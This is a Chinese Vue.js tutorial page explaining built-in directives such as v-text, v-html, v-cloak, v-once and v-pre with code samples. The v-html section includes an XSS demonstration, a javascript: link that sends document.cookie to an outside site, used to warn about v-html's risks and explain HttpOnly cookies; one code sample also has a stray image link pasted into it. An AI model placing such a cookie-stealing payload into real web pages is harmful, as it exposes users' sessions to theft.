文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

Vue 内置指令梳理总结

2024-04-02 19:55

关注

指令总结

v-text

v-text 指令

<div id="root">
    <h2>{{msg}}</h2>
    <h2 v-text="msg"></h2>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false

    //创建vue实例
    new Vue({
        el: "#root",
        data: {
            msg:"Hello world"
        }
    })
</script>

v-html

先简单演示下 v-html

<div id="root">
    <div>{{msg}}</div>
    <div v-text="msg"></div>
    <div v-html="msg"></div>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false
    //创建vue实例
    new Vue({
        el: "#root",
        data: {
            msg:"<h3>Hello world</h3>"
        }
    })
</script>

cookie 简略图示

Chrome 查看 cookie

可以输入两个 cookie 值,然后在控制台可以拿到这些值

另外 Firefox 查看 cookie 位置

<div id="root">
    <div>{{msg}}</div>
    <div v-text="msg"></div>
    <div v-html="msg"></div>
    <div v-html="msg2"></div>
    <div v-html="msg3"></div>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false

    //创建vue实例
    new Vue({
        el: "#root",
        data: {
            msg:"<h3>Hello world</h3>",
            msg2:"<a href=javascript:alert(1)>资源,速来</a>",
            msg3:'<a href=javascript:location.href="https://www.baidu.com?" rel="external nofollow" +document.cookie>资源,速来</a>'
        }
    })
</script>

点击跳转后就会拿到 cookie,所以存在一定安全问题

当然我们看百度的cookie,加上了 HttpOnly。HttpOnly 是包含在 http 返回头Set-Cookie 里面的一个附加的 flag,所以它是后端服务器对 cookie设置的一个附加的属性,在生成 cookie 时使用 HttpOnly 标志有助于减轻客户端脚本访问受保护 cookie 的风险(如果浏览器支持的话)

v-html 指令

1.作用:向指定节点中渲染包含html结构的内容

2.与插值语法的区别:

3.严重注意:v-html 有安全性问题!!!!

v-cloak

v-cloak指令(没有值) 1.本质是一个特殊属性,Vue 实例创建完毕并接管容器后,会删掉 v-cloak 属性 2.使用 css 配合 v-cloak 可以解决网速慢时页面展示出{{xxx}}的问题

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Vue初识</title>
    <style>
        
        [v-cloak]{
            display: none;
        }
    </style>
</head>
<body>
<div id="root">
    <div v-cloak>{{msg}}</div>
    <!--如果引入了外部js,而且返回时间长,那么页面会闪现-->
    <script type="text/javascript" src="./js/vue.js"></script>
</div>
<!--这里标签内容只有在上边js加载完后才执行-->
<script type="text/javascript">
    Vue.config.productionTip = false

    //创建vue实例
    new Vue({
        el: "#root",
        data: {
            msg:"Hello world"
        }
    })
</script>
</body>
</html>

v-once

v-once 指令 1.v-once所在节点在初次动态渲染后,就视为静态内容了 2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能

<div id="root">
    <h2 v-once>n的初始值:{{n}}</h2>
    <h2>n的当前值:{{n}}</h2>
    <button @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false
    //创建vue实例
    new Vue({
        el: "#root",
        data: {
            n:1![](https://img-blog.csdnimg.cn/8b0057d61e9b43848788b3c01f712058.gif#pic_center)

        }
    })
</script>

v-pre

v-pre指令 1.跳过其所在节点的编译过程 2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译

<div id="root">
    <h2 v-pre>Vue其实很简单</h2>
    <h2 v-pre>n的当前值:{{n}}</h2>
    <h2>n的当前值:{{n}}</h2>
    <button @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false

    //创建vue实例
    new Vue({
        el: "#root",
        data: {
            n:1
        }
    })
</script>

到此这篇关于Vue 内置指令梳理总结的文章就介绍到这了,更多相关Vue 内置指令 内容请搜索编程网以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网!

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-前端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯